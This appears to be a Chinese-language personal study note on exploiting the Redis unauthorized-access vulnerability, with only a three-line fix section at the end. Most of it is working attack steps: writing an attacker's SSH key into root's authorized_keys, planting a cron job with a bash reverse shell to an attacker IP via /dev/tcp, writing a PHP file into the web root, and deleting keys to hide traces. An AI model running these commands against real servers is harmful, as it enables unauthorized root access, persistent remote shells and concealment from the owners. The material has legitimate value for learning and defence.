(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、概述

Redis:一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。Redis虽然是高性能内存数据库,但也支持将内存数据保存至硬盘上,实现持久化存储。

Redis未授权访问漏洞:Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

 

二、漏洞验证

1.单个验证:

redis-cli -p 6379 -h 目标IP

2.多个验证:

1 nmap -v -n -Pn -p 6379 -sV --script=redis-info 192.168.10.1/24
2     -v  提高输出信息的详细度
3     -n  不对 IP 进行域名反向解析
4     -Pn  不检测主机存活
5     -p  指定端口
6     -sV  探测版本
7     --script=  调用的脚本名
  • 登录过后输入 ping,回显 PONG 则登录成功

 

三、漏洞利用

1.信息收集:使用info命令查看服务端环境信息

2.上传SSH公钥获取SSH登录权限:

  • 在本机生成key
1 root@ubuntu:~#ssh-keygen -t rsa  //三个回车
2 root@ubuntu:/#cd /root/.ssh
  • 将公钥导入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
  • 将公钥导入到靶机中
cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx
  • 连接靶机
./redis-cli -h 目标IP
  • 写入(Redis 可以创建文件但无法创建目录,所以,Redis 待写入文件所在的目录必须事先存在且 Redis 安装账号对其有写权限。Redis 写文件大致分为四个步骤:登录、设置文件路径、创建键/值、保存)
1 config set dir /root/.ssh
2 config set dbfilename authorized_keys
3 save
  • 远程连接
1 ssh 目标IP
2 ssh -i id_rsa root@目标IP

3.反弹Shell:将目标服务器中的终端弹到指定位置(攻击者服务器),并且需要注意弹出来的shell和当前环境有关,比如使用Apache2服务弹出来的Shell权限为www-data,低权限

  • 利用计划任务执行命令反弹Shell

计划任务:在某个时间段运行,Linux中使用crontab工具(周期性执行任务)

1 crontab存放位置/var/spool/cron
2 crontab -l  表示查看当前用户的计划任务
3 crontab -e  编辑任务/添加任务
4 crontab -r  删除任务
5 Linux的计划任务由6部分组成:分钟  小时  天  月  星期  任务/命令/脚本
6 例如:*/2( 每2分钟) *  *  *  *  echo “icq” >>/tmp/icq.txt
  • 利用过程 
1 set xxx “\n * * * * * /bin/bash -i >& /dev/tcp/攻击者IP/监听端口 0>&1\n”
2 -i  表示交互模式,python、php、ruby、nc等等都可以反弹shell
3 CONFIG SET dir /var/spool/cron
4 CONFIG SET dbfilename root
5 save
  • 记得清楚痕迹删除键值
DEL xxx

4.GetShell(需要知道网站的绝对路径):

1 config set dir /var/www/html/
2 config set dbfilename shell.php
3 set x "<?php phpinfo();?>"
4 save
5 DEL x

 

四、修复

1.限制登录ip

2.添加密码

3.修改默认端口